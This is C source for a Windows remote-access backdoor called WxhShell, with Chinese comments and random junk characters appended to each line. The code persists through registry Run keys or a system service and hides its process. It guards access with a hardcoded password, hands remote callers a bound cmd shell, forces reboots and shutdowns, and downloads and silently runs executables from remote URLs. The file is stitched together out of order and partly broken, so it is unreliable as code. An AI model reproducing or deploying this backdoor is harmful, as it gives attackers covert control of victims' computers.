    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hr%U>U9F  
    if(Boot(SHUTDOWN)) - Sx0qi'%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); re]%f"v:5  
    else { akMJ4EF/  
    closesocket(wsh); :,jPNuOA  
    ExitThread(0); Kq$:\B)<c  
    } 0h^uOA; c  
    break; c$.UE  
    } E=}6 X9X  
  // 获取shell SwyaYK  
  case 's': { GahaZ F  
    CmdShell(wsh); NS h%t+XU]  
    closesocket(wsh); SE6>vKR/.  
    ExitThread(0); :wFb5"  
    break; :sU!PF[<  
  } &Q2NU$  
  // 退出 Rk}\)r\  
  case 'x': { _c[|@D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T:be 9 5!,  
    CloseIt(wsh); a:=q8Qy  
    break; {F<)z% ^  
    } B.V?s,U  
  // 离开 7We?P,A\;  
  case 'q': { )ZQHa7V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cR,'o'V/  
    closesocket(wsh); Y=AH%Gy9 )  
    WSACleanup(); lt }r}HM+  
    exit(1); O 5g}2  
    break; -FQC9~rR;g  
        } .UNF~}^H  
  } /7c2OI=\  
  } =AWX +znP  
TFAYVK~  
  // 提示信息  -0{T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 98X!uh'  
} U* -% M  
  } K4iI:  
M' &J _g  
  return; h=uiC&B  
} =6.8bZT\  
CkmlqqUHC  
// shell模块句柄 lo\:]/&6  
int CmdShell(SOCKET sock) 6\; 4 4,3  
{ ;M%oQ> ].[  
STARTUPINFO si; u)<Ysx8G  
ZeroMemory(&si,sizeof(si)); !Sh^LYqn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jjJc1p0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $KoPGgC[  
PROCESS_INFORMATION ProcessInfo; lc\>DH\n6  
char cmdline[]="cmd"; ;n% ]*v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TX< e_[$\  
  return 0; 6H(fk1E  
} G> f^ 2  
CnxK+1n l  
// 自身启动模式 4JX`>a{<  
int StartFromService(void) | \ s2  
{ F?*Dr  
typedef struct s-QM 6*  
{ 3!i. Fmo  
  DWORD ExitStatus; o?:;8]sr!  
  DWORD PebBaseAddress; eXj\DjttG}  
  DWORD AffinityMask; _fczE~O/  
  DWORD BasePriority; k98< s  
  ULONG UniqueProcessId; kvMk:.  
  ULONG InheritedFromUniqueProcessId; w$w>N(e  
}   PROCESS_BASIC_INFORMATION; !!?+M @  
"Y"t2l_n  
PROCNTQSIP NtQueryInformationProcess; oUW )H  
LydbP17K}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [@,OG-"&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2ApDpH`fiJ  
k#1`  
  HANDLE             hProcess; 6F|Hg2tpz  
  PROCESS_BASIC_INFORMATION pbi; h(C#\{V  
)GiFkG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {:};(oz)f  
  if(NULL == hInst ) return 0; ikEWY_1Y  
YtwmlIar`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m.\ >95!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bo\a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N0y;PVAGu  
"E@NZ*"u  
  if (!NtQueryInformationProcess) return 0; t*Z .e.q+  
P#dG]NMf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1kB'sc3N!  
  if(!hProcess) return 0; T..N*6<X  
|'V<>v.v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s)=!2AY  
B)j`}7O 06  
  CloseHandle(hProcess); TIK/%T  
Q%,o8E2~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U~u6}s]:  
if(hProcess==NULL) return 0; w6WGFQ_%  
ifJv~asp   
HMODULE hMod; Mr5('9%  
char procName[255]; bm|Jb"T0b  
unsigned long cbNeeded; OCbQB5k3  
B#qL$M,|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^D ]7pe  
Jf %!I  
  CloseHandle(hProcess); 'NQMZfz  
"W?l R4  
if(strstr(procName,"services")) return 1; // 以服务启动 XhlI|h-j  
|g7nh[  
  return 0; // 注册表启动 |kBg8).B  
} "xvV'&lQ  
E>l#0Zw  
// 主模块 7.lK$J:  
int StartWxhshell(LPSTR lpCmdLine) qHC*$v#.V?  
{ YO.`l~ v  
  SOCKET wsl; )E[ Q  
BOOL val=TRUE; ^-e3=&  
  int port=0; eLDL  "L  
  struct sockaddr_in door; MYDf`0{$_a  
}6uV]V{  
  if(wscfg.ws_autoins) Install(); F'?5V0\he  
~ X]"P4 u  
port=atoi(lpCmdLine); Gg}LC+Y  
Pjj;.c 7_j  
if(port<=0) port=wscfg.ws_port; Y-neD?VN  
JL]k:i^`A  
  WSADATA data; ^V XXq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (04j4teE  
Ru9pb~K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6?<`wGs(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); By"^ Z`EP4  
  door.sin_family = AF_INET; }Yo15BN+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W{$+mow7S  
  door.sin_port = htons(port); '$kS]U  
tvj'{W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TeGLAt  
closesocket(wsl); 6bRQL}[  
return 1; k<j)?_=`  
} T|BY00Sz`  
jziA;6uL  
  if(listen(wsl,2) == INVALID_SOCKET) { 1v[#::Bs  
closesocket(wsl); VxPTh\O*[  
return 1; Y00i{/a 8  
} bAy5/G!_R  
  Wxhshell(wsl); st'?3A  
  WSACleanup(); $:-= >  
#/XK&(X  
return 0; }'w^<:RSy  
m|#(gX|F  
} O w($\,  
mISu o  
// 以NT服务方式启动 Skk3M?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0o"<^] _|  
{ G5XnGl }Q  
DWORD   status = 0; S{"6PXzb  
  DWORD   specificError = 0xfffffff; {6=H/g=:i  
V)?x*R*T)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PU@U@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *{;A\sL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d~z<,_ r5c  
  serviceStatus.dwWin32ExitCode     = 0; v;F+fOo  
  serviceStatus.dwServiceSpecificExitCode = 0; /bNVgK`L5  
  serviceStatus.dwCheckPoint       = 0; v\?\(Y55Y  
  serviceStatus.dwWaitHint       = 0; ;ijfI  
si mX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C)3$";$5)  
  if (hServiceStatusHandle==0) return; uy*x~v*I]  
[%)B%h`XGf  
status = GetLastError(); ^)0{42!]  
  if (status!=NO_ERROR) ;u-< {2P  
{ dXK~ Z:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KAZkVL  
    serviceStatus.dwCheckPoint       = 0; _^2[(<Gmv  
    serviceStatus.dwWaitHint       = 0; Kn9=a-b?,  
    serviceStatus.dwWin32ExitCode     = status;  ~NW5+M(u  
    serviceStatus.dwServiceSpecificExitCode = specificError; b8b PK<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ofrlTw&o  
    return; %Ty {1'o  
  } zH\;pmWiN9  
uF.\dY\xv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7rDRu]  
  serviceStatus.dwCheckPoint       = 0; m{yNnJ3O  
  serviceStatus.dwWaitHint       = 0; W9:{pQG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y"\T*lKa  
} \3Ald.EqtM  
d<cbp [3F  
// 处理NT服务事件,比如:启动、停止 I3[RaZ2z{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b%~3+c  
{ <n~g+ps  
switch(fdwControl) "s6_lhu=E7  
{ [N$_@[  
case SERVICE_CONTROL_STOP: #&8pp8wd,}  
  serviceStatus.dwWin32ExitCode = 0; Q@.9wEAJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fD}]Mi:V  
  serviceStatus.dwCheckPoint   = 0; tlxjs]{0E  
  serviceStatus.dwWaitHint     = 0; X1z0'gvh  
  { Ly/~N/<\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T^H) lC#R  
  } 8JO\%DFJ  
  return; ]~ 8N  
case SERVICE_CONTROL_PAUSE: y?4=u,{C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EsxTBg  
  break; tZBE& :l  
case SERVICE_CONTROL_CONTINUE: @ DKl<F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \hD bv5  
  break; k.R/X  
case SERVICE_CONTROL_INTERROGATE: (>lqp%G~  
  break; ^aM/BS\  
}; f2e$BA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /%'7sx[p  
} lfhKZX  
jN{xpd  
// 标准应用程序主函数 ?B:wV?-`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) soK_l|z:J  
{ ;j\$[4W.i  
/*2W?ZM~H  
// 获取操作系统版本 ?Lb7~XKt\  
OsIsNt=GetOsVer(); Ps5wQaS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YZu# 0)  
#Z 5Wk  
  // 从命令行安装 3>3ZfFC  
  if(strpbrk(lpCmdLine,"iI")) Install(); KEB>}_[  
/FZ )ej\  
  // 下载执行文件 z#67rh {  
if(wscfg.ws_downexe) { 7uH{UpslJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nE$ V<Co}  
  WinExec(wscfg.ws_filenam,SW_HIDE); g {wPw  
} j`M<M[C*4N  
BnY|t2r  
if(!OsIsNt) { (&x\,19U$  
// 如果时win9x,隐藏进程并且设置为注册表启动 J3E:r_+  
HideProc(); u+FftgA  
StartWxhshell(lpCmdLine); aVL%-Il}  
} xH-k~#  
else (?wKBUi  
  if(StartFromService()) *njB fH'  
  // 以服务方式启动 bv"({:x  
  StartServiceCtrlDispatcher(DispatchTable); 9 f/tNQ7W  
else e' ;c8WF3E  
  // 普通方式启动 :iiTz$yk  
  StartWxhshell(lpCmdLine); jl29~^@}1i  
oQB1fs  
return 0; 8j +;Xlh  
} v^E2!X  
3+PM_c)Y  
ozwqK oE  
m5g: Q  
=========================================== 4tKf  
AU\!5+RDB  
Mi-9sW  
f}d@G/L  
@3D%i#2o&[  
nXW1:  
" }Ec"&  
>u[ln@ l  
#include <stdio.h> 1 SZa\ ][@  
#include <string.h> q@> m~R  
#include <windows.h> 7:<>#  
#include <winsock2.h> %uMsXa  
#include <winsvc.h> @35]IxD  
#include <urlmon.h> MkG ->*  
c3mlO [(  
#pragma comment (lib, "Ws2_32.lib") Jc6 D^=  
#pragma comment (lib, "urlmon.lib") >H! 2Wflm  
6P $q7G  
#define MAX_USER   100 // 最大客户端连接数 <VPtbM@(m  
#define BUF_SOCK   200 // sock buffer HX[#tT|m~  
#define KEY_BUFF   255 // 输入 buffer }DwXs`M7  
?+_"2XY  
#define REBOOT     0   // 重启 ;T(^riAEl  
#define SHUTDOWN   1   // 关机 9`b3=&i\  
JJO"\^,;~  
#define DEF_PORT   5000 // 监听端口 {[dqXG$v `  
_E7eJSM.  
#define REG_LEN     16   // 注册表键长度 KcE=m\h  
#define SVC_LEN     80   // NT服务名长度 *n\qV*|6bI  
{^iV<>J  
// 从dll定义API \:S8mDI^s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S([De"y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lnUy ? 0(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +!wc(N[(2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6ZJQ '9f  
Pr"ESd>Y  
// wxhshell配置信息 cQ%HwYn  
struct WSCFG { ,$>Z= ~x*  
  int ws_port;         // 监听端口 T9 1Iz+j  
  char ws_passstr[REG_LEN]; // 口令 \/%mabLK  
  int ws_autoins;       // 安装标记, 1=yes 0=no k2a^gCBC  
  char ws_regname[REG_LEN]; // 注册表键名 rCYn YA  
  char ws_svcname[REG_LEN]; // 服务名 hR2.w/2j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K(Nk|gQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &/" qOZAs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ar_/9@n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BDg /pDnwg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G<I5%Yo6G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aY~IS?! ;  
'Z[R*Ikzq  
}; dEn hNPeRl  
*BV .zbGm  
// default Wxhshell configuration &-9D.'WzP  
struct WSCFG wscfg={DEF_PORT, >Ww F0W9?  
    "xuhuanlingzhe", muLTYgaM  
    1, <dZ{E7l  
    "Wxhshell", !.A>)+AK  
    "Wxhshell", 6 s/O\A  
            "WxhShell Service", 3h>Ji1vV  
    "Wrsky Windows CmdShell Service", /WMLr5  
    "Please Input Your Password: ", }HzZj;O^2>  
  1, b~p <   
  "http://www.wrsky.com/wxhshell.exe", t&0p@xLQ  
  "Wxhshell.exe" _e W*  
    }; _<$=n6#  
h=aHZ6v  
// 消息定义模块 :d;5Q\C`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2t'&7>Ys{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :>;#/<3{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <5 +?&i  
char *msg_ws_ext="\n\rExit."; {>qCZ#E5WO  
char *msg_ws_end="\n\rQuit.";  i.]}ooI  
char *msg_ws_boot="\n\rReboot..."; &N#)(rQ1  
char *msg_ws_poff="\n\rShutdown..."; ! ^W|;bq  
char *msg_ws_down="\n\rSave to "; r]yq #T`z  
,^(T^ -  
char *msg_ws_err="\n\rErr!"; 3y!CkJKv  
char *msg_ws_ok="\n\rOK!"; YY9q'x,w  
(.cT<(TB  
char ExeFile[MAX_PATH]; d0,I] "  
int nUser = 0; "v06F j>q  
HANDLE handles[MAX_USER]; f55Ev<oOa  
int OsIsNt; #'[ f^xgJ  
h(fh |R<  
SERVICE_STATUS       serviceStatus; 6m]L{ buP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J';tpr  
>Y:ouN~<  
// 函数声明 8CL05:&  
int Install(void); Ce:kMkJ  
int Uninstall(void); 7D,+1>5^Ne  
int DownloadFile(char *sURL, SOCKET wsh); wsARH>Vz  
int Boot(int flag); 1VeCAx[e  
void HideProc(void); otOl7XF  
int GetOsVer(void); Ldu!uihx  
int Wxhshell(SOCKET wsl); N\u-8nE5  
void TalkWithClient(void *cs); _VJb i,V  
int CmdShell(SOCKET sock); -%A6eRShk  
int StartFromService(void); &&JMw6 &[`  
int StartWxhshell(LPSTR lpCmdLine); psMagzr&)e  
gm8H)y,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LZeR .8XM>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ` :2C9,Xu  
9H<:\-:  
// 数据结构和表定义 ZE9*i}r  
SERVICE_TABLE_ENTRY DispatchTable[] = .C1^QY-wL  
{ V3-LVgM%  
{wscfg.ws_svcname, NTServiceMain}, %l,Xt"nS#  
{NULL, NULL} i|<*EXB"  
}; $6_J` 7  
Ai/#C$MY$  
// 自我安装 c/s'&gG33z  
int Install(void) dO=<3W  
{ &,\S<B2.  
  char svExeFile[MAX_PATH]; k_ skn3,u  
  HKEY key; Bg3^BOT  
  strcpy(svExeFile,ExeFile); 6V8"[0U  
N9i>81tY  
// 如果是win9x系统,修改注册表设为自启动 U{ Y)\hR-  
if(!OsIsNt) { fhC=MJ @  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R(:q^?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yrd K@I  
  RegCloseKey(key); 6 2LZ}yn_"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }SYvGp{J,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <%!@cE+y  
  RegCloseKey(key); qvT9d7x  
  return 0; JeO(sj$e  
    } 6L2.88 i  
  } 3A+d8fwi  
} <mpkkCl,  
else { 7==Uoy*O  
<EE)d@%>v  
// 如果是NT以上系统,安装为系统服务 DukCXyB*l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lwK Au!l  
if (schSCManager!=0) 9@!`,Co  
{ V8c&2rNa  
  SC_HANDLE schService = CreateService Q4UaqiL  
  ( 3c6#?<%0`  
  schSCManager, a.q=  
  wscfg.ws_svcname, xL mo?Y*  
  wscfg.ws_svcdisp, 1(m8 9C[  
  SERVICE_ALL_ACCESS, E*CY/F I_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RhYf+?2  
  SERVICE_AUTO_START, |n~- LH++  
  SERVICE_ERROR_NORMAL, r;9F@/  
  svExeFile, "6.kZ$`%  
  NULL, D].1X0^hp  
  NULL, B[8  
  NULL, oas}8A)  
  NULL, `,xKK+~YG-  
  NULL @c5TSHSL.  
  ); TJ+yBMd*%  
  if (schService!=0) hH%@8'1v  
  { F(mm0:lT  
  CloseServiceHandle(schService); ,zO!`|I  
  CloseServiceHandle(schSCManager); 3PPN_Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?oP<sGp  
  strcat(svExeFile,wscfg.ws_svcname); 06L/i,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G 9d@vu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 85m_jmh[  
  RegCloseKey(key); `Fnt#F}  
  return 0; KxqJlben  
    } RP!X 5  
  } d'q,:="c  
  CloseServiceHandle(schSCManager); d/N&bTg:  
} n YWS'i@  
} "/g/Lc  
6o!+E@V b  
return 1; $3w a%"  
} yMB*/vs  
7:<co  
// 自我卸载 >Ta|#]{  
int Uninstall(void)  1ti+ Q0~  
{ oYI7 .w  
  HKEY key; `2( )Vf  
3%p^>D\  
if(!OsIsNt) { %dw@;IZ#8{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $GB/}$fd&  
  RegDeleteValue(key,wscfg.ws_regname); Pm*FA8a7  
  RegCloseKey(key); vu Vcv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T5$db-^  
  RegDeleteValue(key,wscfg.ws_regname); _vr> -:G  
  RegCloseKey(key); Xt& rYv  
  return 0; INt]OPD  
  } 8&t3a+8l  
} [+j }:u  
} SoC3)iqv/  
else { DPqk~KCM  
=n7QLQU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VI_8r5o  
if (schSCManager!=0) jJc:%h$|2  
{ M^S <G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ny'?Hl'Q  
  if (schService!=0) m?*}yM  
  { qJN!L))  
  if(DeleteService(schService)!=0) { &BxDS .  
  CloseServiceHandle(schService); #$-{hg{  
  CloseServiceHandle(schSCManager); ~FCkr&Ky3  
  return 0; IqD;*  
  } xw2dNJL  
  CloseServiceHandle(schService); ; D'6sd"  
  } jTHgh>n  
  CloseServiceHandle(schSCManager); FglW|Hwy  
} rlMahY"C  
} bSJ@ 5qS  
oyC5M+shP9  
return 1; m!#'4  
} 7F$G.LhMw  
I.dS-)Y  
// 从指定url下载文件 ; ,9:1.L  
int DownloadFile(char *sURL, SOCKET wsh) 6 rp(<D/_  
{ <b>g^ `}?D  
  HRESULT hr; a)lS)*Y  
char seps[]= "/"; j;TXZ`|(  
char *token; <dd XvUCX  
char *file; 6>Dm cG:.  
char myURL[MAX_PATH]; w#qE#g %1  
char myFILE[MAX_PATH]; ]Y;5U  
y\?NB:=%  
strcpy(myURL,sURL); xwSi.~.  
  token=strtok(myURL,seps); K&'Vd@  
  while(token!=NULL) u,~/oTg O  
  { XU5GmGu_+  
    file=token; nI_UL  
  token=strtok(NULL,seps); BZP{{  
  } .QVN&UyZ  
2QIx~Er  
GetCurrentDirectory(MAX_PATH,myFILE); )i/x%^ca$  
strcat(myFILE, "\\"); <rI8O;\H  
strcat(myFILE, file); [6cF#_)*  
  send(wsh,myFILE,strlen(myFILE),0); F<0GX!p4u  
send(wsh,"...",3,0); i+@t_pxc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ioT+,li  
  if(hr==S_OK) T/$hN hQK  
return 0; L S%;ZKJ  
else v{8W+  
return 1; 1ir~WFP  
3]rd!Gp=*  
} pq +~|  
;&9wG`  
// 系统电源模块 IeT1Jwe  
int Boot(int flag) Lq#$q>!K  
{ 3[Z7bhpV  
  HANDLE hToken; 6Eu"T9 (  
  TOKEN_PRIVILEGES tkp; Q@ghQGn#  
$s<bKju  
  if(OsIsNt) { @)x8<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Nhrh>x[wJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \1nj=ca?  
    tkp.PrivilegeCount = 1; +`&-xq76  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :9]"4ktoJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |5g1D^b]s^  
if(flag==REBOOT) { aTFT'(O,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OM (D@up  
  return 0; lG R6S  
} 3-4CGSX;X  
else { tdi^e;:?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @QbTO'UzK`  
  return 0; Sp\ 7  
} ->*'Y;t4  
  } d)'J:  
  else { }0 b[/ZwQ  
if(flag==REBOOT) { Z"5ewU<?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (aX6jdvo  
  return 0; Zp_vv@s  
} ~9JLqN"  
else { L@x#:s=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g1(`a`M  
  return 0; fBZR  
} M&ec%<lM  
} "!z9UiA  
eG08Xt |lc  
return 1; vJfj1 f  
} I3" GGp3L  
ES9|eo6  
// win9x进程隐藏模块 VhX~sJ1%Gp  
void HideProc(void) 97\9!)`,  
{ {i|$^A3  
3-U@==:T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yQdoy^d/4  
  if ( hKernel != NULL ) BjAmM*k  
  { "Oq>i9v;|$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gFAtIx4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xAJuIR1Hi  
    FreeLibrary(hKernel); 9xM7X?  
  } G !;<#|a  
i5CBLv  
return; AA~6r[*~  
} ?n9?`8a#  
a_amO<!   
// 获取操作系统版本 g4NbzU[I  
int GetOsVer(void) +9[s(E?SY  
{ '.1_anE]  
  OSVERSIONINFO winfo; Bv(c`JE~;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pqnZ:'V  
  GetVersionEx(&winfo); `AcT}. u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5@< D6>6  
  return 1; .E&-gXJ4  
  else _|} GhdYE  
  return 0; FCPi U3  
} tZqy \_G  
u!DAeE  
// 客户端句柄模块 -$+`v<[r  
int Wxhshell(SOCKET wsl) GEQ3r'B|  
{ HL34pmc  
  SOCKET wsh; cgF?[Z+x  
  struct sockaddr_in client; C3z#A3&J  
  DWORD myID; B?p18u$i#l  
/ +9o?Kxya  
  while(nUser<MAX_USER) OD`?BM  
{ ;8J+Q0V  
  int nSize=sizeof(client); 76j5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~T'Ri=  
  if(wsh==INVALID_SOCKET) return 1; <Zn -P  
KOHYeiry~A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'mR9Uqq\  
if(handles[nUser]==0) 4g}'/  
  closesocket(wsh); C=uYX"  
else Mpu8/i gX,  
  nUser++; 8dY Pn+`  
  } (M,IgSn9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8fX<,*#I  
8,m3]Lg  
  return 0; j!;y!g  
} H(WRm1i"G  
9/_F  
// 关闭 socket 1?j[ '~aE  
void CloseIt(SOCKET wsh) cTQ]0<9:e  
{ S#wy+*  
closesocket(wsh); "0edk"hk  
nUser--; %=GF  
ExitThread(0); ;%_s4  
} CW9vC  
)%T< Mw2u  
// 客户端请求句柄  s%c>Ge  
void TalkWithClient(void *cs) eG05}  
{ ~vMdIZ.h  
J jp)%c#_  
  SOCKET wsh=(SOCKET)cs; <yq kJ  
  char pwd[SVC_LEN]; 0/@ ^He8l  
  char cmd[KEY_BUFF]; 01^+HEbm  
char chr[1]; g{d(4=FM  
int i,j; G!L(K  
9KgGK cy%  
  while (nUser < MAX_USER) { <g4[p^A  
].e4a;pt  
if(wscfg.ws_passstr) { rQ*Fc~^L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zl4X,9Wt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |0Y: /uL#)  
  //ZeroMemory(pwd,KEY_BUFF); VsJ4sb7  
      i=0; ZD(VH6<g%  
  while(i<SVC_LEN) { C ks;f6G  
tW)K pX  
  // 设置超时 yur5" $n  
  fd_set FdRead; a6<UMJ  
  struct timeval TimeOut; & uMx*TTY  
  FD_ZERO(&FdRead); d)yu`U  
  FD_SET(wsh,&FdRead); iXsX@ S^F  
  TimeOut.tv_sec=8; 6";ew:Ih^  
  TimeOut.tv_usec=0; !Yi2g -(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {k"t`uo_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ah9P C7[  
uihU)]+@t/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7kDqgod^A  
  pwd=chr[0]; 1](PuQm7+  
  if(chr[0]==0xd || chr[0]==0xa) { "AcC\iq  
  pwd=0; suF<VJ)&s  
  break; ](2\w9i%  
  } _< LJQ  
  i++; tP0\;W  
    } E'ay @YAp  
;if PqL kO  
  // 如果是非法用户,关闭 socket N R0"yJV>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nd4Z5=X  
} fb*h.6^y9  
]o<&Q52|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z&![W@m@0N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JOUZ"^v  
!+(c/ gwBh  
while(1) { q4y sTm  
=euMOs  
  ZeroMemory(cmd,KEY_BUFF); N7 ox#=g  
3"O&IY<  
      // 自动支持客户端 telnet标准   \0,8?S  
  j=0; dMlJ2\ ]u  
  while(j<KEY_BUFF) { &rbkw<=j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8W"Xdv{  
  cmd[j]=chr[0]; JUpb*B_z  
  if(chr[0]==0xa || chr[0]==0xd) { a9N$I@bi]  
  cmd[j]=0; B"Hz)-MW  
  break; %F2T`?t:  
  } N# <X"&-_#  
  j++; Is[n7Q  
    } jb83Y>  
n3" @E<rW  
  // 下载文件 "%rzL.</  
  if(strstr(cmd,"http://")) { Z/e^G f#i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S[5OTwa8L  
  if(DownloadFile(cmd,wsh)) U_C[9Z'P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "UUoT  
  else ecMpU8}rR  
